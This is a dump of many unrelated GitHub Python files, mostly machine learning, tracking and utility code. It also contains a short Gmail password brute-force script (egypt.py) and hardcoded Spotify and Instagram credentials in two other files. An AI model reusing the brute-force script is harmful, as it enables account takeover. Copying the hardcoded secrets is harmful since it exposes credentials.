7b4aa4cd3f177df0ef1398abce7592376aa10dd9 | 9459937f627a77a19f0acce54273986a7b48edd5 | /fsfsd/eval.py | dff075e9bddf56f5b887f7e2d6d653ca607387b1 | [] | no_license | opsingh46/lab | 6867287f20954b2b4a57ed59e18bf37ca9eaac33 | 8ff9f183bcee7af852be39fecbbbb6df933fcad9 | refs/heads/master | 2020-09-14T09:31:12.679828 | 2019-11-21T05:52:15 | 2019-11-21T05:52:15 | 223,091,037 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,275 | py | import csv
import random
from math import sqrt
def loadDataset(filename, split, trainingSet=[] , testSet=[]):
with open(filename, 'rt') as csvfile:
lines = csv.reader(csvfile,delimiter=',')
next(lines)
dataset = list(lines)
for x in range(len(dataset)-1):
... | [
"noreply@github.com"
] | opsingh46.noreply@github.com |
83dee180bba344ba4431b5eddabacca981be46a9 | ea378480ba678eb123ef826e3ca0c3eb8f4e538f | /py ref/agg:PIL/05-snowflake.py | 685698ad5cd2aee1ad26a0569fba738e94d596b8 | [] | no_license | msarch/py | 67235643666b1ed762d418263f7eed3966d3f522 | dcd25e633a87cdb3710e90224e5387d3516c1cd3 | refs/heads/master | 2021-01-01T05:21:58.175043 | 2017-05-25T08:15:26 | 2017-05-25T08:15:26 | 87,453,820 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,443 | py | # Snowflake Simulation Using Reiter Cellular Automata
# Source: "A Local Cellular Model for Snow Crystal Growth" by Cliff Reiter
# FB36 - 20130107
import math
import random
from PIL import Image, ImageDraw
imgx = 500; imgy = 500 # image size
imgx1 = imgx - 1; imgy1 = imgy - 1
image = Image.new("RGB", (imgx, imgy))
draw... | [
"msarch@free.fr"
] | msarch@free.fr |
a78ab09b41777f2dba9212adf88753c4ff759898 | 3aaed8176695dcfb6bc5d00bf2c2d520bc43e8e0 | /dataloaders/utils.py | 620ce5025eeae25fdca88b83aa4a140dd91710b2 | [
"MIT"
] | permissive | Woolseyyy/pytorch-deeplab-xception | 279fc36ef80547e1958c6056cd40bcbcf8accbb1 | 6f23fcb85edcf718c20e126ebc469960e44e349d | refs/heads/master | 2020-03-22T23:36:22.893182 | 2018-07-17T04:15:07 | 2018-07-17T04:15:07 | 140,819,530 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,478 | py | import os
import torch, cv2
import random
import numpy as np
import torch.nn as nn
import torch.nn.functional as F
def fixed_resize(sample, resolution, flagval=None):
if flagval is None:
if sample.ndim == 2:
flagval = cv2.INTER_NEAREST
else:
flagval = cv2.INTER_CUBIC
i... | [
"jessezhjf@gmail.com"
] | jessezhjf@gmail.com |
f6da0d0b274aca569634adee96d19b441e759d2f | ad2c8feec42e19d7c7e08febc10061df8ed1c5bf | /detect.py | 73343394e10bfb88ab57ee3a6d82975c8a41dd45 | [] | no_license | abhisheks1460/Real-time-webcam-face-detection-1 | cb35e07c2fa2e23fee3ff33a129c62377630ecc4 | f7a395d3290e9893fbad08697711380d2baa0950 | refs/heads/master | 2023-05-08T08:37:07.234853 | 2021-05-24T05:44:07 | 2021-05-24T05:44:07 | 371,788,410 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 819 | py | import cv2
import sys
cascPath = "haarcascade_frontalface_default.xml"
faceCascade = cv2.CascadeClassifier(cascPath)
video_capture = cv2.VideoCapture(0)
while True:
# Capture frame-by-frame
ret, frame = video_capture.read()
gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)
faces = faceCascade.detectMu... | [
"noreply@github.com"
] | abhisheks1460.noreply@github.com |
93a6e1cdc641c43f4ae5872a2d3202ad7e101413 | aca6c84cb2c0ff13ac3cabd0d4bed5b2393bdb9b | /ajax/__init__.py | 18d3be3e1ee63694efd4f31109cb781c57873ed6 | [
"MIT"
] | permissive | sovcn/cpsc427editor | 8c022478793a939072c7ffe9559b94db308840af | b37be529deef60d3751dabb3986a3a6747a570db | refs/heads/master | 2022-07-22T11:36:09.073364 | 2014-05-07T04:07:09 | 2014-05-07T04:07:09 | 16,965,826 | 0 | 0 | MIT | 2022-07-07T22:56:35 | 2014-02-18T22:17:40 | JavaScript | UTF-8 | Python | false | false | 118 | py | from ajax.endpoints import Endpoints
from ajax.encoders import Encoders
endpoint = Endpoints()
encoder = Encoders()
| [
"ksmith@innobdesign.com"
] | ksmith@innobdesign.com |
8498795049bcc029a2c71a310a2525dd63063293 | 9743d5fd24822f79c156ad112229e25adb9ed6f6 | /xai/brain/wordbase/otherforms/_commoners.py | ba7756247f776e21069b78a695be616e5b343ce5 | [
"MIT"
] | permissive | cash2one/xai | de7adad1758f50dd6786bf0111e71a903f039b64 | e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6 | refs/heads/master | 2021-01-19T12:33:54.964379 | 2017-01-28T02:00:50 | 2017-01-28T02:00:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 230 | py |
#calss header
class _COMMONERS():
def __init__(self,):
self.name = "COMMONERS"
self.definitions = commoner
self.parents = []
self.childen = []
self.properties = []
self.jsondata = {}
self.basic = ['commoner']
| [
"xingwang1991@gmail.com"
] | xingwang1991@gmail.com |
c26ce4af3e3326663a505c3563633472e49af3ec | f87f51ec4d9353bc3836e22ac4a944951f9c45c0 | /.history/HW06_20210715232125.py | 82e83460b2b3572ef7ede77011ce58249bbfcda0 | [] | no_license | sanjayMamidipaka/cs1301 | deaffee3847519eb85030d1bd82ae11e734bc1b7 | 9ddb66596497382d807673eba96853a17884d67b | refs/heads/main | 2023-06-25T04:52:28.153535 | 2021-07-26T16:42:44 | 2021-07-26T16:42:44 | 389,703,530 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,842 | py | """
Georgia Institute of Technology - CS1301
HW06 - Text Files & CSV
Collaboration Statement:
"""
#########################################
"""
Function Name: findCuisine()
Parameters: filename (str), cuisine (str)
Returns: list of restaurants (list)
"""
#########################################
########## WRITE FUN... | [
"sanjay.mamidipaka@gmail.com"
] | sanjay.mamidipaka@gmail.com |
5ec0c68611aeb0e6750e1e88f505f6b517da1769 | 03c0bfcaae780af3ade6f2e0b317c4eb9096fdef | /reporter.py | 3171d2a095cffe815c4ae6b3837ee79ee2d2e1f1 | [] | no_license | azahid/real-time-metrics | 0c3cdf1339fc637b4645589dbcfe9928b1a55db9 | 34a8ce9e7816725ec71fed83c6a2005f529adf6c | refs/heads/master | 2021-01-20T08:47:21.497248 | 2014-08-12T20:28:51 | 2014-08-12T20:28:51 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 990 | py | from socket import socket
import sys
import yaml
properties = yaml.load(file('graphite_reporting.yaml', 'r'))
def report(uniqueName, data, type):
if type == 'graphite':
sendToGraphite(uniqueName, data)
else:
raise Exception("{} is currently unsupported".format(type))
def sendToGraphite(uniq... | [
"ahaizahid@gmail.com"
] | ahaizahid@gmail.com |
55a67afa1ad3968c5ae8a7dd525c717927790ee5 | 12905a02076045e6a7cd36ea13651d2b401e92a3 | /mri_analysis/pre_fit/bids/bids_format_sub-008.py | 7bf7c9374fb8a41f12c426d86e2f4fc2f5cc11e8 | [] | no_license | mszinte/pRFgazeMod | 898975daccac1d2a10cfa9a7041c03a6dfd73d06 | f8eda6b3d741e5e12e4192c2ff7d100b5bb3f5d1 | refs/heads/master | 2022-05-04T02:29:15.766668 | 2022-04-12T14:56:36 | 2022-04-12T14:56:36 | 160,700,429 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 12,975 | py | """
-----------------------------------------------------------------------------------------
bids_generator.py
-----------------------------------------------------------------------------------------
Goal of the script:
Convert data in BIDS format
----------------------------------------------------------------------... | [
"martin.szinte@gmail.com"
] | martin.szinte@gmail.com |
069a4d59ff518ed1c6cf8f372d5999422834d488 | 7b7cd23f7b5cbc0154183fcae15f15a44fdf26bb | /crawler.py | 730550538c80bbed875d3b6504bdf5dab9488623 | [] | no_license | shintafs/Sentimen-Analysis | 825f7d67322ff040a8fac6607e8019e788d444f1 | 57c38e042c1c4b6e9fde15d0ba05c8b0d82ee574 | refs/heads/master | 2022-11-28T06:50:48.203237 | 2020-07-30T06:22:15 | 2020-07-30T06:22:15 | 277,439,737 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,509 | py | import tweepy
import time
from twitter import Twitter
from preprocessing import Preprocessing
import csv
API = Twitter().instance()
waitQuery = 100
waitTime = 2.0
engineBlow = 1
Preprocessing = Preprocessing()
csvFile = open('crawl.csv', 'w', encoding='utf-8')
csvWriter = csv.writer(csvFile)
def search() :
global ... | [
"jeriramadhan25@gmail.com"
] | jeriramadhan25@gmail.com |
ba30ee33e12ca5030dd0f6629988fb850cb6c12b | 6050bf190dfae779d0e1eef3e5f4fc32057754f4 | /AuxFlask/settings.py | ad9940bf3661996c9bb41ca6478cab872642527b | [] | no_license | ssajnani/AUX | 442e786b9160c409f667db88b72f51068757f56f | cd8019d26f2f224e9e85efcc59444b4c3c424e92 | refs/heads/master | 2020-12-31T06:46:46.478224 | 2019-06-15T20:38:34 | 2019-06-15T20:38:34 | 80,629,762 | 0 | 0 | null | 2019-06-07T05:02:39 | 2017-02-01T14:50:37 | HTML | UTF-8 | Python | false | false | 313 | py | # API Keys and Settings.
import os
# Set variables specific to our application.
def setKeys():
os.environ['SPOTIPY_CLIENT_ID'] = '2421a4b55e5c457eb279cacbacb9d318'
os.environ['SPOTIPY_CLIENT_SECRET'] = '97d2682f52c44db6ab68a812d72e59c0'
os.environ['SPOTIPY_REDIRECT_URI'] = 'http://publish.uwo.ca/~amccan5/'
| [
"samar.sajnani@live.com"
] | samar.sajnani@live.com |
3915d180fc288994305d93a14ef20f837e9d4ec0 | cdccb1f1102a359c47d824452ffd76b8f1948403 | /working_with_tags.py | 6381bd17b06c0ed335768bab4a3aba9ef5620bb8 | [
"Apache-2.0"
] | permissive | andybarilla/TCPy_V2 | c8c229f9cabc75699eeabd4e6f5d98c73a1631b5 | 854fa19a509a4ff01c879ee031408f0d5ed6bd39 | refs/heads/master | 2021-01-18T04:49:18.587888 | 2015-06-04T16:10:10 | 2015-06-04T16:10:10 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 9,547 | py | from easy_print import *
from working_init import *
def main():
"""
Working With Tags
"""
# optionally set max results
tc.set_max_results("500")
"""
Get Tag by Name
Method:
get_tag_by_name(tag_name, owners=<list of owners>)
tag_name -> tag name
owners -> (optional) ... | [
"dgidwani@cybersquared.com"
] | dgidwani@cybersquared.com |
da3148eda0d51e3d5d6c53ed95cca7d8fd467839 | 75ce5b7fee397fe4e67ed15a58f4cd42e0f8de9f | /PythonMasterclass/OOP/oop.py | 8f9a4c844627350a4a88b461ec85cf8bb780bbce | [] | no_license | lukbast/stuff | 7fd03b7e035394802c307682a25621dfd667960b | 160e1d77d1b592fac099b9c7139fb4e2f7f8dbbe | refs/heads/main | 2023-08-06T21:39:55.334812 | 2021-09-23T17:37:47 | 2021-09-23T17:37:47 | 409,684,114 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 798 | py | class Kettle(object):
power_source = 'electricity'
def __init__(self, make, price):
self.make = make
self.price = price
self.on = False
def turn_on(self):
self.on = True
philips = Kettle('Philips', 420)
kenwood = Kettle('Kenwood', 9.99)
kenwood.price = 666
print(kenwood... | [
"jaimperator99@gmail.com"
] | jaimperator99@gmail.com |
8cbd9bcf143060f7b5eee8db5852a8aeac765033 | 8f9286812c3fe2ad928f3f227fe92035de60abb4 | /exercises/counting_valleys.py | b63c538fac26f2f6ade73d3e27d0c8b3599932c5 | [] | no_license | LesterKim/ctci | 2210bb0034971b091ff9143532cf61f64725fabe | 8fedace7569d391ecbf2c8d8f3f2dafd6baede1d | refs/heads/master | 2020-04-29T19:04:26.222519 | 2019-04-19T22:49:39 | 2019-04-19T22:49:39 | 176,343,070 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 574 | py | def countingValleys(n, s):
altitude = 0
valleys = 0
reset = True
for step in s:
print(altitude)
#print(valleys)
if step == 'U':
altitude += 1
else:
altitude -= 1
if altitude == 0:
reset = True
if altitude < 0 and step ... | [
"lkim@post.harvard.edu"
] | lkim@post.harvard.edu |
070bda46bba02f7049548dabfd6d5b1fe78bb74e | 732d1bd539cb7a68ac9c21b15fdc7cb17c10b31d | /main.py | 8d8f6de7bd5f2eae21f520ef250a27dfde84899f | [
"Unlicense"
] | permissive | Axeinator/ArduinoBinaryLEDs | 6a54adf8677b176652911a63530233da87a1b35d | f31eca8dd2641ce24fd4ea272a47856e709795af | refs/heads/master | 2023-06-30T19:13:00.985744 | 2021-08-05T16:44:33 | 2021-08-05T16:44:33 | 314,705,273 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,558 | py | from typing import List
from converter import toCPP
from camera import record
import time
import os
def read_file_return_ints(inputfile):
with open(inputfile) as f:
numbers = f.read()
number_list = numbers.split(" ")
number_list: List[int] = [int(i) for i in number_list]
return numb... | [
""
] | |
e3401fe9058184b364146ecabb0ecdc904b9b102 | 667c2d8d8a37a3a7719d5aa44586f59f8ce8fd51 | /unknotter/blueprint.py | 7bcbcfa75b7dde9dcd7b26b15d07de24dde3268c | [
"MIT"
] | permissive | iredelmeier/doughknots | fe2880dff5b32a81e572b088cbe97b1501b2f38a | 487431b189eed8e33d369403100ff3b68d7a4151 | refs/heads/master | 2022-12-23T22:00:33.953861 | 2019-07-17T22:48:59 | 2019-07-17T22:48:59 | 197,473,677 | 3 | 0 | MIT | 2022-12-08T05:54:28 | 2019-07-17T22:49:51 | Python | UTF-8 | Python | false | false | 2,509 | py | from typing import Any
import exceptions
from httpx import Blueprint
from httpx.response import abort, respond
from trace import SpanContext
from .selector import Selector
from .span import Span
from .unknotter import Unknotter, NoopUnknotter
def factory(name: str = __name__, unknotter: Unknotter = None) -> Bluepri... | [
"iredelmeier@gmail.com"
] | iredelmeier@gmail.com |
a8b8713530416f14a178d2337d3b92b5c3f1538e | 95d7fbb679c69466f70dc84a8a8f390ff6952546 | /hello.py | 22d623a1851c7b9348cbee92823f80ce2763f2cf | [] | no_license | tejaswini99-star/python-programming | 9abd601c88b8c20c27fc96c12d53bd7bb090c835 | 498ff4669f54bf6e69330a0dc9499d1d0d142289 | refs/heads/master | 2020-12-20T11:42:07.051012 | 2020-01-24T18:51:10 | 2020-01-24T18:51:10 | 236,062,480 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 66 | py | #!/usr/bin/python
print ("Hello, Python!")
print ("Hello World") | [
"60270550+tejaswini99-star@users.noreply.github.com"
] | 60270550+tejaswini99-star@users.noreply.github.com |
28c8decf5b9d178f91e182150cce81fa9cf32081 | d980b54d31f684d7a4266d686ac653e128505983 | /167. Two Sum II - Input array is sorted.py | 36a3f1a050b6c30076049fe7b03e606dc9c045ad | [] | no_license | riverfour1995/Leetcode | 2cdc0a7ea4499d875fc430965e8dd41a8bcdcbf6 | 8624a0873993baf3392d6363ee438cf508106636 | refs/heads/master | 2021-07-02T21:01:27.361537 | 2017-09-23T16:55:54 | 2017-09-23T16:55:54 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 471 | py | class Solution(object):
def twoSum(self, numbers, target):
"""
:type numbers: List[int]
:type target: int
:rtype: List[int]
"""
left = 0
right = len(numbers) - 1
while True:
sum = numbers[left] + numbers[right]
if sum > target:... | [
"xu@divisacapital.com"
] | xu@divisacapital.com |
0fedcf51140245fed89411621a74a5bfe7980824 | 0dee160805e5b7065fe2010ebe83da345e1a2236 | /utils/dataset.py | acdac90a9adeee0092fb2daa28aa67cc7efe0040 | [
"MIT"
] | permissive | kaka-lin/yolov3-tf2 | 140027944f4fe561a3edbd78c405ab1124024967 | 03c0c629a62f2aa0b910d6e913bdfb39f3b79891 | refs/heads/master | 2023-01-28T04:53:57.008071 | 2023-01-12T10:24:23 | 2023-01-12T10:24:23 | 244,849,536 | 15 | 4 | MIT | 2020-08-27T07:59:30 | 2020-03-04T08:44:00 | Jupyter Notebook | UTF-8 | Python | false | false | 5,494 | py | import tensorflow as tf
feature_description = {
'filename': tf.io.FixedLenFeature([], tf.string),
'height': tf.io.FixedLenFeature([], tf.int64),
'width': tf.io.FixedLenFeature([], tf.int64),
'classes_id': tf.io.VarLenFeature(tf.int64),
'classes_name': tf.io.VarLenFeature(tf.string),
'x_mins': t... | [
"vn503024@gmail.com"
] | vn503024@gmail.com |
bb95834d440d15be90f59289d6d3f6ac9f354653 | 63118fd2553c75ebff2b0671db2808428c945496 | /trackers/kalman_filter_dependent_fusion.py | 935998c9e5f852e39050ec46ccd89de151c9331b | [
"MIT"
] | permissive | yashmotorai/Track-to-Track-Fusion | 1b9139738eac3bfce69a15a2b7eec09f11b64470 | 6bb7fbe6a6e2d9a2713c47f211899226485eee79 | refs/heads/master | 2023-04-10T11:14:36.021224 | 2021-05-03T09:22:59 | 2021-05-03T09:22:59 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 17,139 | py | """ kalman_filter_dependent_fusion
Uses the test and using taking the dependence into account. Follows Bar-Shaloms formulas for doing so.
"""
import numpy as np
from stonesoup.models.measurement.linear import LinearGaussian
from stonesoup.models.transition.linear import CombinedLinearGaussianTransitionModel, Constan... | [
"jonassagild@hotmail.com"
] | jonassagild@hotmail.com |
91e73816394dbe5f70020d13f22f75d75d53f136 | 0f0cd02caadbcfc531680921b7299d51399a2168 | /CODE/circular_layout.py | 2855020539fdcfa63b9d5d27537652bc1e9f89ac | [] | no_license | sonj2/NagBot | 9277aa683044157ff110ac4297357419e7746da5 | eab67a82f64f9162610593ff02b8a921fbc1a66b | refs/heads/master | 2023-02-05T21:01:51.634603 | 2020-12-16T19:54:17 | 2020-12-16T19:54:17 | 296,442,707 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 6,940 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
CircularLayout
Taken from: https://github.com/kivy-garden/garden.circularlayout
Under the MIT Liscense
==============
CircularLayout is a special layout that places widgets around a circle.
size_hint
---------
size_hint_x is used as an angle-quota hint (widget wit... | [
"createawesomedesigns@gmail.com"
] | createawesomedesigns@gmail.com |
85d9732ba6f23db68b567f58ebca14eca0489c6a | 18e022320a66db802c7cfa9aaf3e0372a63d8662 | /example.py | c5d687eb7ee5875ad34fabbc78d5abab60438334 | [] | no_license | Incogniter/incognito | 4059fa531ce58b8346aaa491bea7a6ce6578f666 | 4762688482b4ac67e29e864417d9d2b2fffca8df | refs/heads/main | 2023-07-08T13:30:15.698943 | 2021-08-15T05:22:20 | 2021-08-15T05:22:20 | 385,916,959 | 5 | 0 | null | null | null | null | UTF-8 | Python | false | false | 562 | py | import shelve
books = shelve.open("book")
books["recipes"] = {"blt": ["bacon", "lettuce", "tomato", "bread"],
"beans_on_toast": ["beans", "bread"],
"scrambled eggs": ["eggs", "butter", "milk"],
"soup": ["tin of soup"],
"pasta": ["pa... | [
"noreply@github.com"
] | Incogniter.noreply@github.com |
07370b00c22dff71642c2e2cd309951049ca3cb7 | b76ae2671c18e9a57811945cfe2449031807a149 | /Case Study - Statistical Thinking/usefull_functions.py | 70a929a7dd7d8d104e53252e5bfefa80b2f3d6b6 | [] | no_license | pfilo8/DataCampCourses | 8c2b9ff87e1a880b94ee4575dbeda339a260fd06 | 73889781186cba0ac188d25e6928cfd2b88ebc15 | refs/heads/master | 2020-04-02T07:54:23.867190 | 2018-10-22T21:33:56 | 2018-10-22T21:33:56 | 154,220,248 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,623 | py | import numpy as np
import matplotlib.pyplot as plt
import seaborn as sns
import pandas as pd
def ecdf(data):
"""Compute ECDF for a one-dimensional array of measurements."""
# Number of data points: n
n = len(data)
# x-data for the ECDF: x
x = np.sort(data)
# y-data for the ECDF: y
y = np.a... | [
"patrykfilo97@wp.pl"
] | patrykfilo97@wp.pl |
99b6d0704a70f9a096300b4ca3e5d5532f9e3228 | 37e74791eba450e893d07b6d5240936a9b90978f | /BentExplorer.py | 2a68d5ba29215c95914abece2b414f6e34ffd231 | [] | no_license | rgkirch/python-file-browser | c3ae28988c29bdcdc1afe4cee76a9ed640082b28 | 2671c885d6bdf2c2b24e72a3f5a9ca235a020977 | refs/heads/master | 2020-05-02T02:24:43.706948 | 2015-12-30T15:22:22 | 2015-12-30T15:22:22 | 42,200,540 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,820 | py | from PyQt4 import QtGui
from collections import OrderedDict
from ListWidget import ListWidget
class MainWindow(QtGui.QMainWindow):
def __init__(self, parent=None):
super().__init__(parent)
self.widgets = []
self.setCentralWidget(QtGui.QStackedWidget(self))
self.listwidget = ListWidg... | [
"rgkirch@gmail.com"
] | rgkirch@gmail.com |
1fa303e599991f322fe33ad2c511a256294f0848 | fef07804922538cf0d8f33ca049ffeb8641280b2 | /Preprocess/F_divide_training_parts/divide_training_parts.py | 617e3eabfa3e229a0475ab794d6bcd1e6521c645 | [] | no_license | caisongcheng/MIML | a8df73f051d4dc7c55bab802a507a13529561234 | 6dcccba9940a17ab184f9b8cfeedeeac51f136f1 | refs/heads/master | 2020-03-13T14:21:20.461897 | 2018-04-26T15:10:22 | 2018-04-26T15:16:17 | 131,156,822 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,569 | py | import os
import shutil
def divide(path_mul, path_part, k):
sen_i = [[]] #store interactive protein pairs and their sentences
sen_ni = [[]] #sotre non-interactice protein pairs and their sentences
################### read from text of multi folds used for training and store protein pairs and t... | [
"2858717095@qq.com"
] | 2858717095@qq.com |
75ff25af3100e6e9e7ad938734187c506ff00d2b | a8443e7b2b6ef9ee1ccb6dab44ad3ddbaa719a33 | /Week 2/PS2_Problem2.py | 0942c4e0bf11fbb3d64eae236606019c2e6a20a2 | [
"MIT"
] | permissive | NagiLam/MIT-6.00.1x_2018 | c61b75c03e24c569db33f4d935ef6fb20b84c61b | edd4b104c446ad2e347b5454132fd993ab1c4da7 | refs/heads/main | 2023-03-17T23:54:11.659018 | 2021-03-20T19:39:54 | 2021-03-20T19:39:54 | 349,819,107 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,726 | py | """ Problem Set 2 - Problem 2
Now write a program that calculates the minimum fixed monthly payment needed in order pay off a credit card balance within 12 months.
By a fixed monthly payment, we mean a single number which does not change each month, but instead is a constant amount that will be paid each month.
In th... | [
"noreply@github.com"
] | NagiLam.noreply@github.com |
3e64394d796a026c719123cf7ef89bcb82365121 | 9e988c0dfbea15cd23a3de860cb0c88c3dcdbd97 | /sdBs/AllRun/sdssj_120408.22+153609.7/sdB_sdssj_120408.22+153609.7_lc.py | 45c4a65ca1273ffe327210776740e7315636db7c | [] | no_license | tboudreaux/SummerSTScICode | 73b2e5839b10c0bf733808f4316d34be91c5a3bd | 4dd1ffbb09e0a599257d21872f9d62b5420028b0 | refs/heads/master | 2021-01-20T18:07:44.723496 | 2016-08-08T16:49:53 | 2016-08-08T16:49:53 | 65,221,159 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 370 | py | from gPhoton.gAperture import gAperture
def main():
gAperture(band="NUV", skypos=[181.03425,15.602694], stepsz=30., csvfile="/data2/fleming/GPHOTON_OUTPU/LIGHTCURVES/sdBs/sdB_sdssj_120408.22+153609.7/sdB_sdssj_120408.22+153609.7_lc.csv", maxgap=1000., overwrite=True, radius=0.00555556, annulus=[0.005972227,0.010388897... | [
"thomas@boudreauxmail.com"
] | thomas@boudreauxmail.com |
a126d18d2e02fa2d515384cd49edae20b8b9c6ab | 9c9e6bf525b2f4b6c05ac9c29f1f5cdc83635c5a | /polls/migrations/0001_initial.py | 087adbd2b775ec6bb5237b528eedbd665b0afff2 | [] | no_license | SUshinichiro/django-sample | da669b5c39138e4be467590516b4a7758f1945a0 | ea523f05e3d1bd0743dcb1de26dbdbe6278a8681 | refs/heads/main | 2023-03-10T23:49:18.831967 | 2021-02-26T07:48:12 | 2021-02-26T07:50:45 | 338,348,000 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,075 | py | # Generated by Django 3.1.6 on 2021-02-15 06:13
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Question',
fields=[
... | [
"45141975+SUshinichiro@users.noreply.github.com"
] | 45141975+SUshinichiro@users.noreply.github.com |
d099cc7e65057d1859c69f94684bf1cf72bd00cd | 74531ec47cd9e66d941625f13557ae2055e4ddcb | /egypt.py | 075aa7d7b1b46eecdc448eb3af16a1a43d074030 | [] | no_license | Abdoelnerm/egypt | 054a47b1c1a6ff57e98b12fe5de8e895ab8e875d | ba961234e7946f0d2f5a81c0c5b347e0001e67f1 | refs/heads/master | 2020-03-20T22:55:42.604193 | 2018-06-19T00:36:41 | 2018-06-19T00:36:41 | 137,821,200 | 3 | 1 | null | null | null | null | UTF-8 | Python | false | false | 601 | py | import smtplib
from termcolor import *
#Hackers Egypt
print ("HACK GMAIL BY X1L ")
smtpserver = smtplib.SMTP("smtp.gmail.com",587)
smtpserver.ehlo()
smtpserver.starttls
user = raw_input ("enter email target:")
passwfile = raw_input ("enter path list password:")
passwfile = open(passwfile,"r")
for password in passwfi... | [
"noreply@github.com"
] | Abdoelnerm.noreply@github.com |
6066c82429a06cfc912a197d31d676903f1d208e | cd50ed5464a5397b4e5bafc36efebf88f14b2d8b | /models/rnn_theano.py | cd97581f15b5bc82263db599c4e65f8f297ca657 | [] | no_license | millatidy/hit400_lstm | cc6db62c68f18296e40a75395725a8112d4632e8 | 38bce32bd8bec5c20e373957526bfecf79a3a761 | refs/heads/master | 2021-06-18T01:20:17.006138 | 2017-05-09T01:44:24 | 2017-05-09T01:44:24 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,909 | py | import numpy as np
import theano as theano
import theano.tensor as T
from utils import *
import operator
class RNN_THEANO:
'''
input_dim is the array size of the input data
hidden_dim is the array size of the hidden input_dim
output_dim is the array size of the output
# input weight... | [
"tidymilla@gmail.com"
] | tidymilla@gmail.com |
0cbc0dc59ce61210a0550c490da218c7f36c92e9 | 2afb28eabc992f4f3fec48f0ec91be7459a51a31 | /pytorch/pic-conv.py | b1420218720b37f7ac8fdf60340455ccd611ed2c | [
"MIT"
] | permissive | LanceZhu/deep-learning | d3088d40d4c7f04ee82d23c339d46ac69a222bab | a1d8554397844ab097e1ae89686acb6d4dcc524d | refs/heads/master | 2023-02-04T10:14:26.634857 | 2020-12-24T06:57:52 | 2020-12-24T06:57:52 | 315,268,712 | 0 | 0 | MIT | 2020-12-05T14:28:49 | 2020-11-23T09:48:57 | Python | UTF-8 | Python | false | false | 771 | py | from PIL import Image
from matplotlib import pyplot as plt
import numpy as np
import torch
import os.path as path
data_dir = '../data/test/naruto'
image = Image.open(path.join(data_dir, 'naruto.png'))
img_gray = np.array(image.convert("L"), dtype=np.float32)
# gray image
plt.imsave(path.join(data_dir, 'naruto-gray.... | [
"lancezhu2937@gmail.com"
] | lancezhu2937@gmail.com |
3f4d4b142fe225bb204064c1dbfc8857e1c172fe | 93a613f09d564a1d45ecc01b54b73745ce2850b7 | /majora2/forms.py | 6adcc2da009d17ffe9c9c4e06700d45aa3e7b5d8 | [] | no_license | pythseq/majora | fa17c77fa8a916c688fd2b40744d768dd851b99b | 40b918d32b4061cddee5f7279f97e70eb894623d | refs/heads/master | 2022-12-23T20:09:41.233844 | 2020-09-28T18:18:42 | 2020-09-28T18:18:42 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 35,308 | py | import datetime
from django import forms
from django.contrib.auth.models import User
from django.db.models import Q
from django.utils import timezone
from crispy_forms.helper import FormHelper
from crispy_forms.layout import Layout, Fieldset, Submit, Row, Column
from crispy_forms.bootstrap import FormActions
from .... | [
"samstudio8@gmail.com"
] | samstudio8@gmail.com |
4d981443060c83ab2132e2b19e63357323dbdf2d | 7f08093d63a72731170cfb89ba72249cb0203d5b | /Artificial Neural Network 1/constants.py | 6535873f1418554be7240de21ee6b74986a6d406 | [] | no_license | ikermedchiev/Computational-Intelligence | 0a872432f2e9d99bf67ff66f0e6e2669d0f2a5b8 | 44153002161eb7a2ec3cf4a947be55401995583e | refs/heads/master | 2020-07-24T19:46:16.203593 | 2019-09-13T15:09:00 | 2019-09-13T15:09:00 | 208,028,611 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,657 | py | """
DON'T MODIFY THESE
"""
# The path to the features csv
features_csv = "features.txt"
# The path tp the targets csv
targets_csv = "targets.txt"
# The path to the unknown csv
unknown_csv = "unknown.txt"
# The output path
outputfolder = "output"
# outputpath = "output/known"
# how many output neurons we should have
tar... | [
"i.kermedchiev@gmail.com"
] | i.kermedchiev@gmail.com |
8317889863e2e15fe56f5a419d308d66255834d8 | f1a06369812bedf561582b2d928c4f9504385f12 | /python-workspace/InstagramAutomation/commentautomation.py | b4d2a21ee929861d3fede3e409b291ed05996284 | [] | no_license | EddieQuebrado/School | de7200e50dae30c0459ac0b8e6586262cb6df9fd | df486b50c60cc93458ae64ac22535a891c58c9f2 | refs/heads/master | 2022-12-18T18:29:44.239343 | 2020-09-02T23:19:26 | 2020-09-02T23:19:26 | 292,340,529 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,988 | py | from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import time
import sys
import random
class CommentAutomation:
username = 'EduAnimals'
password = 'EQ8TK5JR3'
hashtags = [
'animals_in_world', 'animal_fanatics', 'animalelite', 'animal_captures', 'animal_sulta... | [
"eddiequebrado@u.boisestate.edu"
] | eddiequebrado@u.boisestate.edu |
